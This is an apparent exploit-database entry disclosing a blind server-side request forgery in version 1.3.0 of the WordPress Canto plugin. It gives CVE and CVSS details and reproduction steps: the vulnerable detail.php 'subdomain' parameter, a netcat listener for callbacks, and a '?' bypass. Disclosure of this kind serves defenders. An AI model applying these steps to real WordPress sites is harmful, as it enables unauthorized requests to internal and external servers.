WordPress Canto 1.3.0 Server-Side Request Forgery

CVE Category Price Severity
CVE-2020-28976 CWE-918 N/A High
Author Risk Exploitation Type Date
Unknown High Remote 2020-12-07
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N 0.02192 0.50148

CVSS vector description

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WordPress Canto 1.3.0 Server-Side Request Forgery
# Exploit Title: Wordpress Plugin Canto 1.3.0 - Blind SSRF (Unauthenticated)
# Date: 03/12/2020
# Exploit Author: Pankaj Verma (_p4nk4j)
# Vendor Homepage:
# Software Link:
# Version: 1.3.0
# Tested on: Ubuntu 18.04
# CVE: CVE-2020-28976, CVE-2020-28977, CVE-2020-28978

The Canto plugin 1.3.0 for WordPress contains Blind SSRF Vulnerabilities.
It allows an unauthenticated attacker to make a request to any Internal and External Server via "subdomain" parameter.

Vulnerable Parameters and Endpoints:-

Steps To Reproduce:-
1. Start a Netcat Listener on any port For e.g. 4499
2. Navigate to "<wordpress_server>/wp-content/plugins/canto/includes/lib/detail.php?subdomain="
3. Add the Attacker's IP and Port For e.g. "" to "subdomain=" parameter.
4. Observe the response we got from the Target on Attacker's Listener.

Note:- Using "?" in the payload is mandatory as it acts as a bypass to conduct this attack.

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